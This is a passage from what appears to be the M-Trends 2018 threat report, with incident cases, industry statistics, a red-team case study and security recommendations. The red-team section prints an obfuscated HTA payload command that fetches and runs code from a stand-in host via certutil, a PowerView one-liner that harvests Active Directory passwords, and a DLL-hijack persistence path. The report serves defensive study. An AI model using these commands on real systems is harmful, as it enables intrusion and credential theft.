database administrator account. The client quickly identified and decommissioned the web server and other legacy systems and changed the password of accounts used by the attacker. At some point during the compromise the client antivirus software began detecting some of the attacker s password dumping tools, so the attacker added the C:\temp\ directory, which was being used as a tool repository, to the list of directories to not be scanned by antivirus software. Configuring the antivirus software to ignore the directory C:\temp created a registry artifact (Fig. 6) that helped identify additional systems compromised by the attacker. This case illustrates the risk posed by having the RDP accessible from the Internet. Access to RDP is a common vector used by attackers to gain access to environments either directly from the Internet or by leveraging access they gain through a third-party. Initial compromise: Mandiant identified evidence of malicious activity dating back several years, and that the environment had been accessed by more than one attacker. Mandiant was unable to identify how the environment was first compromised due to evidence decay. Establish foothold: The attacker moved laterally within the environment and installed a variety of backdoors, keyloggers and network traffic tunnelers, ranging from publicly available malware such as Gh0stRAT, Empire, and the China Chopper web shell, to some highly powerful and non-public malware. Escalate privileges: The attacker leveraged credentials obtained from domain controllers and keyloggers installed on the systems of high-value individuals to provide access to the environment. Internal reconnaissance: The attacker conducted internal reconnaissance using built-in tools and tools that the attacker placed in the environment. Examples of the methods used for internal reconnaissance included: PowerShell Windows Task Scheduler NBTScan TCPScan Non-public keyloggers Non-public screen recorders Complete mission: The attacker targeted billing and customer information. Mandiant identified evidence suggesting gigabytes of sensitive customer information had been exfiltrated from the network. Figure 6: Example of the registry artifact that was created by the attacker adding an exclusion for the directory C:\temp Redacted Eventlog Messages of Whitelisting a Folder HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Popular AV Program\AV\Exclusions\HeuristicScanning\Directory\Client\3212312312\ DirectoryName | C:\temp\ SPECIAL REPORT | M-TRENDS 2018 ONCE A TARGET, Always a Target A significant attack is attacker activity that may include data theft, compromised accounts, credential harvesting, lateral movement and spear phishing, which affects at least 43% of our managed detection and response customers. In 2013 M-Trends, we looked at organizations that had been targeted or recompromised after remediating a previous attack. Our original data showed 38 percent of clients were attacked after remediation. Our 2017 data shows that, 56 percent of FireEye managed detection and response customers who were previously Mandiant incident response clients were targets of at least one significant attack in the past 19 months by the same or similarly motivated attack group. We also found that: of customers with at least one significant attack were successfully attacked again within one year. of the time, customers who have had more than one significant attack have also had more than one unique attacker in their environment. Regional Considerations We find that customers in the APAC region are twice as likely to have experienced multiple incidents from multiple attackers, compared to customers in EMEA or North America. Over 91 percent of our APAC customers with at least one significant attack will have attacker activity within the next year (Fig. 7). Of those customers, 82 percent will have multiple attackers identified over the life of their service (Fig. 8). Figure 7. Customers with one significant attack that experienced another attack of consequence, by region. Figure 8. Customers with significant attack from multiple groups, by region. AMERICAS EMEA APAC AMERICAS EMEA APAC SPECIAL REPORT | M-TRENDS 2018 There is a difference between industries that have been successfully attacked by multiple threat groups versus industries that are targeted most often. Notably, the high-tech industry is both frequently targeted by multiple attackers and also sees a large number of significant attack attempts (Fig. 11). This trend highlights the industries that most often have to deal with multiple types of threat actors, each with potentially different missions and TTPs to defend against. Several industries appear more adaptive and more rigorous in their security posture over time. As an example, when we examine the industries that suffer multiple successful attacks, separated by remediation attempts, we observed that the financial industry was ninth out of 16 industries. Our experiences suggest the financial services are less likely to succumb to subsequent attacks over time. Non-Profit Government Business and Professional Services Transportation and Logistics Other Financial Industry type The top three industries with the most significant attacks are financial, high-tech and healthcare (Fig. 10). Figure 9. Customers targeted by multiple threat groups, by industry. Retail and Hospitality Media and Entertainment Healthcare Construction and Engineering Education Telecommunications High Tech Number of different threat groups Figure 10. Customers industries by number of significant attacks. Non-Profit Other Media and Entertainment Business and Professional Services Biotechnology and Pharmaceuticals Government Energy Transportation and Logistics Construction and Engineering Manufacturing Education Telecommunications Retail and Hospitality Healthcare High Tech Financial Number of different threat groups Figure 11. Customers with significant attacks from multiple attackers, by industry. Non-Profit Government Industries that have historically been Business and Professional Services targeted by Chinese based groups move to the top of the attacked by multiple groups list. Other Energy Transportation and Logistics Industry type Unfortunately, if you ve been breached, our statistics show that you are much more likely to be attacked and suffer another breach. If you have not taken steps to enhance your security posture, you are taking a significant risk. Energy Biotechnology and Pharmaceuticals Manufacturing Industry type Industry Trends The top three industries most frequently targeted by multiple attackers are high-tech, telecommunications and education (Fig. 9). Media and Entertainment Financial Biotechnology and Pharmaceuticals Retail and Hospitality Manufacturing Construction and Engineering Healthcare Education Telecommunications High Tech Number of different threat groups SPECIAL REPORT | M-TRENDS 2018 RED TEAMING for Security Effectiveness Mandiant recently conducted a Red Team Assessment for an organization hosting large amounts of personally identifiable information (PII). The goal of the assessment was to validate the organization s ability to protect their PII. The red team was provided with the organization s name and no additional architectural information, making it a black-box assessment. SPECIAL REPORT | M-TRENDS 2018 The red team used open source intelligence (OSINT) to identify the external IP addresses, email addresses and phone numbers that constituted the attack surface of the organization. After creating a list of target email addresses, the red team launched a phishing campaign using emails with a hyperlink crafted to direct the user to an HTML Application (HTA) payload. The payload launched the Windows-native Certutil command, calling back to a command and control (CnC) server. Three systems were compromised in the initial phishing campaign of 30 users. One hour after the phishing campaign started, one of the targeted users reported the phishing email to the organization s abuse mailbox. The security operations center (SOC) responded to the report and blacklisted the fully qualified domain name (FQDN) of the web server hosting the HTA payload, but infected workstations continued to connect to the red team s CnC server. The FQDN of the CnC server was not identified and blocked by the SOC because the HTA payload was designed to bypass manual and automated analysis by using a combination of obfuscation and sandbox evasion techniques. HTA payloads allow the red team to create convincing scenarios while delivering a flexible payload through the power of Microsoft s VBScript and JScript languages. HTAs also allow red teams to bypass application whitelisting controls because the native Windows application associated with the file extension, mshta.exe, is a Microsoft-signed executable, a file type typically permitted to execute by application whitelists. An unobfuscated HTA payload might run a command line command by invoking the method of VBScript WScript.Shell class (Fig. 12). Figure 12. An HTA file that executes a PowerShell payload. Sample SPECIAL REPORT | M-TRENDS 2018 To avoid sandbox detection mechanisms often deployed in mature environments, sandbox evasion techniques can be built into the payload with the obfuscation. A red team could use any number of sandbox evasion techniques including forcing the malware to wait or sleep a specified period of time before executing (Fig. 15), checking for mouse movement or clicks, or checking that a minimum number of processes are present for the payload to be executed. Combined with Demiguise, the final payload file has little to detect (Fig. 16). Figure 15. A delayed payload execution command. root@testbox: /git/demiguise#./demiguise.py -k 1.2.3.4 -c timeout 12 && certutil -urlcache -split -f https//myevil.domain/payload payload.exe && payload.exe -o payload.hta -p Outloock.Application [*] Generating with key 1.2.3.4 [*] Will execute: timeout 12 && certutil -urlcache -split -f https//myev il.domain/payload payload.exe [+] HTA file written to: payload.html root@testbox: /git/demiguise# Figure 16. The final Demiguise payload. SPECIAL REPORT | M-TRENDS 2018 The SOC was unable to identify the CnC server using network traffic analysis due to the use of a covert CnC communication known as domain fronting. This attack technique has been leveraged by Russian nation-state actors such as APT29. Originally developed as a technique to avoid censorship-based blocking of Internet traffic, domain fronting allows an attacker to abuse HTTPS connections to hide CnC activity in network traffic so that it is indistinguishable from legitimate requests for popular websites. The true destination of the CnC activity is obscured through the content delivery networks (CDNs). This technique leverages the HTTP Host header used in many shared hosting environments to specify the target for a specified request. This allowed Mandiant s red team to hide its CnC traffic in what appeared to be legitimate requests for sites hosted in the CDN. The red team used a configuration (Fig. 17) derived by following these steps: 3. Set the Host header on subsequent HTTPS CnC requests to point to the CDN instance. This will cause the CDN to direct all requests to the actual domain rather than the impersonated domain used for the initial SSL/TLS connection. Domain fronting gives an attacker several advantages: Renders detection of CnC traffic using known IP addresses or domain names ineffective. Makes anomaly detection ineffective because the traffic is indistinguishable from other traffic destined for large CDNs. Makes detection based on known bad or anomalous SSL/TLS certificates ineffective because the domain name and SSL/TLS certificate belong to a legitimate site in the CDN. 1. Create a CDN instance in the same shared hosting environment and configure this instance to forward traffic to the red team s malicious CnC server. Creates challenges to remediation since blocking CnC 2. During CnC communications, establish an SSL/TLS connection to a well-known site that uses the same CDN. There are publicly available lists of domains that can be used as an impersonated domain for most major CDNs. Prevents SSL/TLS decryption techniques from being traffic could result in legitimate domain names or IP addresses being blocked. used by taking advantage of certificate pinning for SSL/ TLS certificates. Figure 17. Preferred CnC setup. www.badperson.com DNS request for www.innocus.fronted.domain.com CDN frontal server, which acts as a proxy/gateway TLS initiated with SNI set to www.innocus.fronted.domain.com HTTP Header with host of www.badperson.com Victim Fronted Domain www.innocus.fronted. domain.com SPECIAL REPORT | M-TRENDS 2018 The red team persisted on the initial three compromised systems using a Windows Management Instrumentation (WMI) event subscriber. The event subscription consisted of an event filter that acted as a trigger and an event consumer that executed the payload, in this case Symantec s signed symerr.exe . The symerr.exe executable loads a DLL named cclib.dll from its current working directory, so Mandiant leveraged this functionality to load a malicious DLL (Fig. 18 and 19). Figure 18. Persistence using symerr.exe. C:\Program Files\Norton Internet Security\Engine\22.9.0.68\symerr.exe cclib.dll Figure 19. Properties of symerr.exe. Once a persistence mechanism was deployed to a few systems, the red team moved quickly to escalate privileges and move laterally before the initial systems and communications to the compromised network were lost. The red team looked for opportunities to escalate privileges in the domain using various techniques. One avenue that proved useful in this assessment was a misconfigured userPassword attribute in Active Directory. Depending on the Active Directory configuration, this attribute can be treated as either of the following: An ordinary Unicode attribute, which can be written and read as any other Unicode attribute in directory. A shortcut to userPassword in directory, which will allow password change operation to be performed over LDAP. SPECIAL REPORT | M-TRENDS 2018 PowerView3 has a Get-NetUser function that assists with automating the process of looking up this attribute in Active Directory. The red team used the command (Fig. 20) to harvest credentials for several service accounts on the Active Directory domain. Plaintext passwords are stored in the userPassword attribute in Unicode format (Fig. 21). Figure 20. PowerView function to grab userPassword field and decode it. get-netuser -Domain -Filter userpassword=* | select -expandproperty userpassword | %{[char][int]$_} | write-host -nonewline}; write-host Figure 21. Example userPassword attribute with stored Unicode password. [...] samaccountname usncreated displayname description DO NOT DISABLE - PeopleSoft FIN account for Ker beros auth. Please contact FT HR IT userpassword {112, 115, 57, 49...} pwdlastset 11/18/2014 12:37:22 PM objectclass {top, person, organizationalPerson, user} useraccountcontrol 66048 lastknownparent OU=Server Accounts Disabled, DC=prod, DS=ad, DS=me ,DC= ,DC=com [...] 3 Available at https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1. SPECIAL REPORT | M-TRENDS 2018 With domain credentials, the red team was able to move laterally to additional systems in the environment. At this stage, the red team encountered a significant number of servers using Device Guard with constrained language mode enabled and application whitelisting. There are several ways to bypass Device Guard and application whitelisting, one of which is the built-in Microsoft signed executable MSBuild.exe . Using signed executables allowed Mandiant to bypass application whitelisting by executing payloads in the context of a Microsoft signed process. Using the open source script PowerLessShell,4 Mandiant s red team executed PowerShell scripts and payloads without launching PowerShell.exe directly. With this tool, Mandiant generated a csproj file containing the payload and copied it to a new system. Mandiant could then use WMI commands to remotely execute MSBuild, which, in turn, executed the malicious csproj payload. Mandiant used credentials from the userPassword field to access systems containing domain administrator sessions and used Mimikatz to read LSASS memory and obtain clear text credentials for a domain administrator account. A jump server is a special-purpose computer that is hardened against attack and provides remote access to systems in a different network security zone. 4 Available at https://github.com/Mr-Un1k0d3r/PowerLessShell. 5 Available at https://github.com/cernekee/stoken. Completing the Mission At this this point the red team had domain administrator privileges, but the target database server storing PII was protected by jump servers that required two-factor authentication (2FA). The easiest way to bypass 2FA is not to attack the solution itself, but to leverage its capabilities and a lack of adherence to security best practices to obtain the second factor for some number of users. Soft tokens are easily distributed to users, but they create additional risk when stored on local computers and network shares. Unfortunately, this is often the case with users and IT administrators. Soft tokens are often not secured with a password, or a default password is stored with the soft token that allows an attacker to import the soft token. Once an attacker has imported a soft token, the process of identifying the workstation belonging to the user and keylogging the user to obtain their PIN is straightforward. During the assessment, Mandiant s red team identified 955 soft token files as having the stdtid extension, which is the default for RSA soft token files. With RSA soft tokens, files containing email templates with a default import password were also found (Fig. 22). The red team used stoken 5 to brute force all the soft token files to see which soft tokens could be imported with the default password. In this case, the default password worked for more than 500 soft tokens, including jump server and database administrators. SPECIAL REPORT | M-TRENDS 2018 Figure 22. Soft token import template. SPECIAL REPORT | M-TRENDS 2018 With user credentials and a token code, the red team was only missing the corresponding PIN. The red team obtained the RSA PIN codes for the jump server by installing a keystroke logger on the workstations of administrators and database administrators, as is shown in Fig. 23. Figure 23. Keylog showing RSA PIN. ------------------------------RSA SecurID : Log In - Windows Internet Explorer ------------------------------[TAB] ------------------------------00004225 - RSA SecurID Token ------------------------------1 ------------------------------RSA SecurID : Log In - Windows Internet Explorer ------------------------------[PASTE]583585887 SPECIAL REPORT | M-TRENDS 2018 After obtaining all of the components to authenticate to the jump server, the red team authenticated to the jump server, which contained a route to all database servers hosted in the network segment hosting PII. Once on the jump server, the red team identified 210 hosts in the SSH known_hosts file. This provided SSH routes to 210 database servers.6 A script (Fig. 24) was used to connect severs and identify databases having names that would indicate they may contain PII. More than a million PII records were identified in the databases. Figure 24. Perl script to enumerate databases at scale. #!/usr/bin/perl use strict; use warnings; open {my $f, $ARGV[0]) or die $!; while (<$f>) { chomp; print Starting $_\n echo Starting $_\n >> /tmp/out.txt ssh -o ConnectTimeout=5 -o BatchMode=yes $_ . cracfa 2>&1 >> /tmp/out.txt close ($f); Becoming Better Attackers for Better Preparedness Mandiant s red team is constantly learning from attackers not only to perform successful assessments without detection, but also to help our detection teams keep pace with the attackers. When new techniques are released, our red team will immediately take that technique, try to weaponize it or make it better, and work with our detection team to help them improve detection for that technique. 6 SSH clients store host keys for any hosts they have ever connected to. These stored host keys are called known host keys, and the collection is often called known hosts. - https://www.ssh.com/ssh/host-key. SPECIAL REPORT | M-TRENDS 2018 CYBER SECURITY SKILLS GAP The Invisible Risk In the ongoing battle to secure organizations from malicious actors that commit crimes through methods such as theft, destruction or data manipulation, frontline defenders are a scarce resource. As the demand for skilled personnel capable of meeting the challenges posed by these threat actors continues to rise, the supply simply cannot keep pace. SPECIAL REPORT | M-TRENDS 2018 A growing deficit in information security personnel is expected to dramatically exacerbate the current considerable skills gap over the next five years. This assertion is supported by industry research data from the National Initiative for Cybersecurity Education (NICE) and insights gained from Mandiant engagements throughout 2017. In 2017, NICE reported that 285,000 cyber security roles went unfilled in the U.S. alone. While the scarcity of experienced professionals can be felt across the entire information security spectrum, trend analysis performed over the findings of cyber defense center (CDC) engagements throughout the year indicates that this shortage appears highly prevalent in organizations looking to develop or mature their incident response capabilities. The specialized skillset required to respond, investigate and remediate cyber threats has become highly valued and the industry is struggling to keep pace with demand. The Widening Gap In many ways, the skills gap is tied to the quantitative nature of these roles. While a CDC breaks free from the traditional, linear SOC response process by unifying multiple security and intelligence disciplines into a single strategic incident response center for the organization, personnel requirements at the most basic level are comparable. Though the numbers tend to fluctuate based on different industries, organization size and other factors, the minimum number of personnel for an around-theclock CDC is approximately 9 to 12 full-time employees. A traditional CDC structure breaks this baseline headcount into incident response expertise levels, with a larger, less experienced subset of the staff focused on initial detection and triage and more seasoned personnel performing investigation and remediation. As a CDC matures, its need for a larger talent pool grows. To maximize the cost of effectively handling incident response internally, the CDC should be vigilant in increasing the scope of its detection and response capabilities throughout the organization to achieve its strategic objectives. The effort to mature and develop a more proactive security posture inevitably leads to increased personnel requirements. The increased focus on identifying and remediating risks before they cause harm often necessitates investment in specialized skillsets, including malware analysis, threat hunting, analytics, automation and threat intelligence. The more effective a SOC becomes, the greater its scope becomes and the more responsibility it will inevitability take on. SPECIAL REPORT | M-TRENDS 2018 Limitations in Visibility and Detection The ability to detect events within the organization that could be indicative of a greater incident is central to an effective incident response capability. The single most pervasive trend in the investigations and assessments that Mandiant conducted over the prior year was a gap in visibility and detection. During the initial compromise phase, key indicators of malicious activity are often overlooked or mischaracterized as benign due to an implicit trust that malicious activity will be flagged by detection mechanisms. However, detection systems often miss indicators of malicious activity due to poor configuration by inadequately trained staff. Another common trend is the lack of appropriate event investigation because the security analysts lack the experience to identify a legitimate threat from a constant stream of potential indicators. Mandiant reviewed the incidents they responded to in 2017, to see which phases of the attack lifecycle provided the most evidence to investigate (Fig. 25). Figure 25. Investigative evidence provided during attack lifecycle phases. Initial Compromise Phases of attack life cycle Establish Foothold Escalate Privileges Internal Reconnaisance Lateral Movement Maintain Persistence Complete Mission Percentage of evidence provided SPECIAL REPORT | M-TRENDS 2018 The data (Fig. 25) shows a definite gap in detections during the initial compromise phase of the attack lifecycle, which is one of the most critical moments when an organization should be able to detect and prevent threats. This is often due to a combination of an overabundance of alerts that can overwhelm personnel and distract them from efforts to identify and respond to real threats, and a lack of in-house skills to quickly identify the events that are noteworthy to investigate. While some phases of the attack lifecycle, such as internal reconnaisance and privilege escalation, have prevalent indicators that can be easily identified or even automated, once an attacker has breached the walls, detection of their activities becomes substantially more difficult due to ever evolving methods attackers have at their disposal. Events at these phases require a greater level of experience and skill to identify and investigate. Many organizations believe the personnel skillset gaps can be mitigated or offset by using tools to automate heavy lifting of some tasks. However, automation can provide a false sense of security if the organization relies entirely on these tools without providing the human element to ensure they are effectively configured and to catch any outliers the tools may not address. As attacks become more sophisticated, there is increasing value in having proactive threat hunting measures and skills in place to address potential risks before they impact the organization. Visibility and detection are multi-tiered capabilities that rely on a chain of multiple roles. If even one link is left to a member of the SOC who does not possess the skillset required to be effective in the role, the entire chain is compromised. Lack of Incident Response Expertise Another trend directly attributed to the widening skills gap is a lack of expertise and experience in malware analysis, threat intelligence and forensics investigations, as well as handling major incidents. This is particularly common in organizations with a young, burgeoning SOC. When incidents arise within an organization, there are times when the investigation challenge will be outside of the scope of experience of the personnel responsible for mitigating the risk. As niche specializations, these skills represent some of the rarest and most sought after on the market. This is a primary reason many organizations outsource functions to firms that specialize in providing these roles, whether through a managed solution for long-term assistance or retainers with incident response firms to assist as the need arises. Addressing the Skills Gap While the shortage of skilled cyber security professionals is not diminishing, organizations can still mitigate their risk of being attacked by investing in enhancing their existing capabilities and outsourcing specialized roles. Enhancement efforts can include process refinement to maximize the efficiency of internal procedures, training for existing personnel to increase and expand their skills, proactive testing of critical incident response processes through tabletop exercises, automation of overhead processes such as ticket creation that typically require time and effort that could be spent on investigations and identifying new measures to address any gaps in the organization s current capabilities. SPECIAL REPORT | M-TRENDS 2018 ENDURING TRENDS in Security Fundamentals Mandiant s strategic security services measure the maturity of an organization s cyber security program across critical security domains. The critical security domains used to gain unauthorized access to organizations are observed annually by Mandiant during our incident response investigations. Common attacker TTPs were observed during incident response investigations and further correlated by FireEye Threat Intelligence to correspond to areas of weakness frequently seen by our strategic services. Six information security domains were observed repeatedly: Security risk management Incident response Identity and access management Network, cloud and data center protection Data protection Host and endpoint protection We also observed that while organizations are increasingly recognizing the importance of operationalizing cyber threat intelligence (CTI), there are weaknesses in implementation. The following examples are based on engagements delivered in 2017, where we saw attackers exploit weaknesses in an organization s detection and prevention controls. SPECIAL REPORT | M-TRENDS 2018 Security Risk Management Identity and Access Management We have observed that many organizations do not have formalized threat and vulnerability management functions with the authority and necessary visibility into all network enclaves, assets and applications, and patches and configuration changes are not applied in a consistent and timely manner across the enterprise. Patch management and configuration infrastructure often only covers a portion of the assets the organizations environments, leaving groups of assets to be independently managed, resulting in inconsistencies in patching and configuration hardening. We continue to observe that authentication and authorization controls are often not hardened against abuse from attackers. Two of the most common issues are a lack of multi-factor authentication (MFA) enforcement and securing privileged credentials. Many organizations do not have MFA implemented, or they have a true MFA solution that provides the second factor out-of-band and not generated within the user s device. Instead, they rely on device certificate-based authentication, which is easier to bypass. Additionally, organizations have not hardened their Active Directory environments, such as by reducing the exposure of Windows credentials in memory, and they have not adequately secured privileged credentials from misuse. Through our incident response and cyber threat intelligence experience, we see attackers leveraging unpatched vulnerabilities. These observations reinforce our belief in the importance of having mature threat and vulnerability management practices. In one case, an unnamed threat actor exploited an unpatched Apache Struts framework vulnerability of an organization s externally facing application server. The attacker then installed distributed denial of service (DDoS) malware on the server to create a platform to target other organizations. Another example we observed APT35 (The Newscaster Team) compromising at least three U.S.-based companies, and performing reconnaissance at two other U.S. organizations and one non-U.S. company. At least one organization was likely compromised due to the attacker exploiting unpatched vulnerabilities in the Ektron CMS platform, which allowed them to upload web shell backdoors. The attacker then leveraged publicly available malware and legitimate Windows tools to dump passwords and exfiltrate data. An example of an attacker exploiting single-factor authentication is APT28 (Tsar Team) in their targeting of hotel Wi-Fi networks. The group has used noteworthy techniques, including sniffing passwords from the guest Wi-Fi network traffic, poisoning the NetBIOS Name Service, and spreading laterally using the ETERNALBLUE exploit. One incident involved a user being compromised after connecting to a public Wi-Fi network. Twelve hours after the victim initially connected to the publicly available Wi-Fi network, APT28 logged into the machine with stolen credentials. After successfully accessing the machine, the attacker deployed tools on the machine, spread laterally through the victim network, and accessed the victim s OWA account. Another example of an attacker leveraging weakness in authentication and authorization controls is APT10 (Menupass Team), which typically uses credential harvesters to acquire privileged credentials. We observed them executing tools such as Mimikatz and SysInternals ProcDump to harvest user credentials in multiple intrusions where FireEye responded. These were invoked using different methods, including local execution, DLL searchorder hijacking, remote execution and output through PsExec/WMIExec, and automated collection through custom batch scripts. SPECIAL REPORT | M-TRENDS 2018 Data Protection Incident Response Many organizations we work with do not have well-defined data classification policies and protection requirements for sensitive data types. Compounding this, these same organizations often do not know all of the types of data they possess and where they are located within the enterprise in structured and unstructured locations. This information is necessary to properly establish appropriate detection and protection technologies and processes in accordance with the data sensitivity level. The upcoming General Data Protection Regulation (GDPR) requirements emphasize the importance of appropriate data handling practices and protections more than ever, and provide the mechanism to penalize organizations that are not taking the proper actions to protect sensitive data. We continue to see organizations struggle with consolidated visibility across all enclaves of their environments. Many organizations focus their monitoring on regulated portions of their networks (e.g., PCI, SOX) and have not expanded logging and monitoring efforts to other less-scrutinized portions. Incomplete and decentralized logging of investigation-relevant sources hinder the detection and response capabilities of the organization s information security team. In multiple cases, Mandiant observed attackers leveraging minimal controls of sensitive data within the victim environment. Sensitive intellectual property and PII were not secured with additional controls such as network segmentation, MFA, encryption and restrictive Internet egress controls. In these cases, the organizations applied few minimum internal controls beyond basic single-factor user authentication to applications, code repositories and network shares. Once the attackers were on the internal network with the proper credentials, they completed their mission of accessing the targeted information, staging the data and exfiltrating gigabytes of sensitive information. In many Mandiant incident response engagements, we observed that attacker activity went unmitigated by the organization s information security monitoring team and capability. This is due to many factors including lack of authority, lack of visibility and a lack of instrumentation. Mandiant often observes that information security is not a dedicated function and does not have authority across the organization, but only over a portion of assets. Specific key instrumentation components we see missing include a centralized log aggregation capability, host and endpoint logging configurations (e.g., PowerShell, Sysmon, OS and Application Audit logs) and network level visibility for lateral movement. SPECIAL REPORT | M-TRENDS 2018 Network, Cloud, and Data Center Protection We commonly find deficiencies in network segmentation and secure configuration of cloud services. When customers do not have network segmentation properly implemented, detection and remediation are much more difficult, and the resulting impact of the breach is significantly higher. Neglecting to secure cloud services, such as the Office 365 email platform, results in attackers gaining access to sensitive emails and data and a limited ability for organizations to detect and investigate a breach. Mandiant observed multiple cases of attackers targeting an organization s Office 365 instances to gain access to sensitive messages. Examples of techniques observed include malicious mailbox forwarding rules and abuse of the Office 365 eDiscovery functionality. We have seen attackers create the malicious mailbox forwarding rules by doing the following: Compromised several accounts through password spraying the organization s external Active Directory Federation Services (AD FS) proxy. Authenticated to the compromised accounts and created a mailbox forwarding rule to forward all messages to a malicious mail address under their control. In other instances, attackers stole Exchange service credentials during on-premises network intrusions, then accessed the eDiscovery functionality of Office 365 and ran searches through the platform using keywords of interest to the attackers. Downloaded the resulting messages from the queries. SPECIAL REPORT | M-TRENDS 2018 Host and Endpoint Protection Common areas of weakness in endpoint protection that we observed in organizations are advanced malware protections, investigation capabilities and application whitelisting. Many organizations rely on legacy signature-based protections on the endpoint. Coupled with that is the inability of information security professionals to conduct deep forensic analyses of malicious activity across the server and end user computing environments. Application whitelisting is another important detection and prevention control we see lacking in the organizations we assess. Without application whitelisting, end users and attackers have the ability to install arbitrary software in an uncontrolled manner. These weaknesses are commonly exploited by attackers in the initial compromise and establish foothold stages of the attacker lifecycle in the incidents we investigate. Phishing continues to be a primary preferred method of compromising organizations because of its simplicity and effectiveness. However, determined attackers will pivot to other methods of deploying malware. As an example, in May 2017, FireEye Threat Intelligence observed an uptick in activity related to an ongoing campaign distributing Emotet malware. A wide variety of lures and distribution methods were leveraged in this high-volume campaign, including malicious Word document attachments, links to Word documents, and links to JavaScript files to propagate Emotet malware. The actor(s) behind this campaign leveraged more than 300 compromised websites to host malicious Word documents and Emotet payloads. Advanced malware protections at the email and endpoint levels provide a level of mitigation to these types of attacks; however, attacker tactics are continuously changing. Logs and detections from these controls should be regularly monitored and investigated for signs of further intrusion into the target organizations environment. Endpoint hardening such as application whitelisting and mitigations provided by the OS vendor should be applied across the organization. SPECIAL REPORT | M-TRENDS 2018 Improvements Throughout 2017, Mandiant also observed improvements in several other areas. These include increased executive support and awareness of cyber security with GDPR driving improved data protection practices, as well as the need for incident response retainer agreements and regular tabletop exercises. We observed increased awareness of the need for cyber security among business leaders, senior executives and board members. As cyber attacks become more frequent and sophisticated, organizations of all sizes across every industry must make cyber risk management a priority. Organizations that fall under the GDPR regulation requirements are placing greater importance on improving their handling of data protection initiatives. As a result of these initiatives for compliance, PII is beginning to receive more attention and protections in the form of segregation, tokenization/masking, encryption and more aggressive data purging policies. However, many organizations are still in the beginning stages of preparing for the regulation. More organizations are recognizing the need for incident response retainer agreements to increase their ability to quickly investigate cyber incidents and intrusions. This is a result of a combination of an increasing number of cyber insurance providers offering lower premiums to organizations that show a proactive approach to cyber security, and increased awareness that having an agreement in place can greatly reduce the time to respond by outside investigators. Mandiant observed that organizations are increasingly using tabletop exercises for technical information security and executive leadership teams to evaluate the tools, processes and expertise their organizations use to respond to cyber attacks. Reducing Risk Organizations need to continuously increase the maturity of their information security program and reduce their risk of compromise through an approach incorporating likely real-world threats and attacker TTPs. Information security leadership should be regularly communicating this message to executives using a risk-based lens. As cyber attacks become more frequent and sophisticated, executives, business line leaders and boards of directors need to take an active role in cyber risk management and data breach preparedness. By doing this, investments and mitigations can be placed in the areas of highest risk to the organization. SPECIAL REPORT | M-TRENDS 2018 PREDICTIONS FOR 2018 SPECIAL REPORT | M-TRENDS 2018 Evolving Chinese Cyber Espionage FireEye assesses with high confidence the Chinese government has generally complied with the terms of the September 2015 Obama-Xi Agreement . Under this agreement, China agreed not to use state-sponsored hackers to steal the intellectual property of U.S. companies. FireEye s research indicates Chinese cyber operations targeting the intellectual property of U.S. companies declined significantly around the signing of the Obama-Xi Agreement. In 2013 FireEye identified a peak of 72 concurrent operations were carried out by Chinese state-sponsored attackers. In the months leading up to the signing of the Obama-Xi Agreement fewer than 30 operations were observed, and at the time of publication, FireEye is tracking six or fewer. The Trump Administration renewed the deal, which serves as evidence that China is generally viewed as complying with the agreement. While FireEye assesses that the Obama-Xi Agreement has led to a significant decrease in Chinese governmentcontrolled cyber operations specifically stealing intellectual property, this does not mean China has ceased cyberoperations against U.S. companies. In fact, FireEye has seen an increase in the number of attacks against U.S. companies that have resulted in the theft of business information such as bid prices, contracts, and information related to mergers and acquisitions. FireEye has also seen a surge in cyber espionage campaigns targeting business-to-business services such as cloud providers, telecommunications companies and law firms. Attacking service providers could allow Beijing to collect intelligence on a broad group of targets in a manner that is less likely to be detected. APT10 We further assess China may be willing to violate the Obama-Xi Agreement on strategic imperatives when diplomatic consequences can be minimized. FireEye has observed groups potentially preparing operations against revolutionary technologies, such as artificial intelligence and advanced batteries. China may be willing to risk upsetting the status quo to obtain the economic and military advances these technologies could provide. Targeting the Software Supply Chain Malware authors have increasingly leveraged the trust between users and software providers. Users do not expect malicious code to be introduced by updates from trusted software vendors. In supply chain attacks, cyber threat groups target the build servers, update servers and other parts of the development or release environment. The hackers then inject malware into software releases, infecting users through official software distribution channels. This attack method allows attackers to target broad set of potential victims while obfuscating their intended target(s). In 2017, FireEye observed at least five cases where advanced threat actors compromised software companies to target users of the software. FireEye assesses that advanced attackers will likely continue to leverage the software supply chain to conduct cyber espionage. Chinese threat group APT10 targets IT service providers worldwide, including accessing victim networks through U.S.-based managed security service providers (MSSP). APT10 spear phishing emails have been relatively unsophisticated, leveraging link ( .lnk files within archives, files with two extensions, and in some cases, simply identically named decoy documents and malicious launchers within the same archive. Chinese cyber espionage operators modified the software packages of a legitimate vendor, NetSarang Computer, allowing access to a broad range of industries and institutions that include financial services, transportation, telecommunications, energy, media, academic, retail, and gaming. Likewise, in June 2017, suspected Russian actors deployed NotPetya ransomware to various European targets by compromising Ukrainian software vendor M.E.Doc. SPECIAL REPORT | M-TRENDS 2018 CONCLUSION Some of the newest trends we observed in 2017 include increased activity and sophistication from Iran, and an increase in the retargeting of previously compromised organizations. However, these are simply evolutions of cyber security constants: threat actors from various nations with diverse motivations will continue to attack, and defenders will be tasked with stopping those threats and doing everything they can and that is required to protect their customers. SPECIAL REPORT | M-TRENDS 2018 One of the highlights from our data is the global median time for internal detection dropping by over three weeks, from 80 days in 2016 to 57.5 days in 2017. Although the global median time from compromise to discovery has risen by two days, we see that organizations are getting better at discovering compromises in-house with their own internal teams. Of course, there is still work to be done. The cyber security skills gap that has existed for some time now appears to be widening, bringing with it a rising demand for skilled personnel capable of meeting the challenges posed by today s highly skilled threat actors. For organizations looking to improve their own security teams, Red Team Assessments can help. Mandiant s red team engagements involve leveraging sophisticated attacker TTPs to breach organizations as a learning experience. As a result, defenders can gain valuable insight into what they should be doing to stay ahead of today s most prominent threats. While it s important to focus on new and evolving threats, we also urge security professionals to never neglect best practices such as network segmentation, data segregation and protecting their most sensitive information. It is also just as important to be ready and able to respond to an incident, since we all know it is a matter of when, not organizations will experience an attack. We encourage organizations to hold incident response tabletop exercises to simulate typical intrusion scenarios. These exercises help expose participants notably executives, legal personnel and other staff to incident response processes and concepts. Additionally, organizations may want to consider partnering with professionals that specialize in defending against threats specific to the business. Defenders have to get it right every single time, while threat actors only need to get it right once. By sharing information and solutions through M-Trends 2018 with the security community, we continue to contribute to the improvement of our collective security awareness, knowledge and capabilities. To learn more about FireEye, visit: www.FireEye.com FireEye, Inc. About FireEye, Inc. 601 McCarthy Blvd. 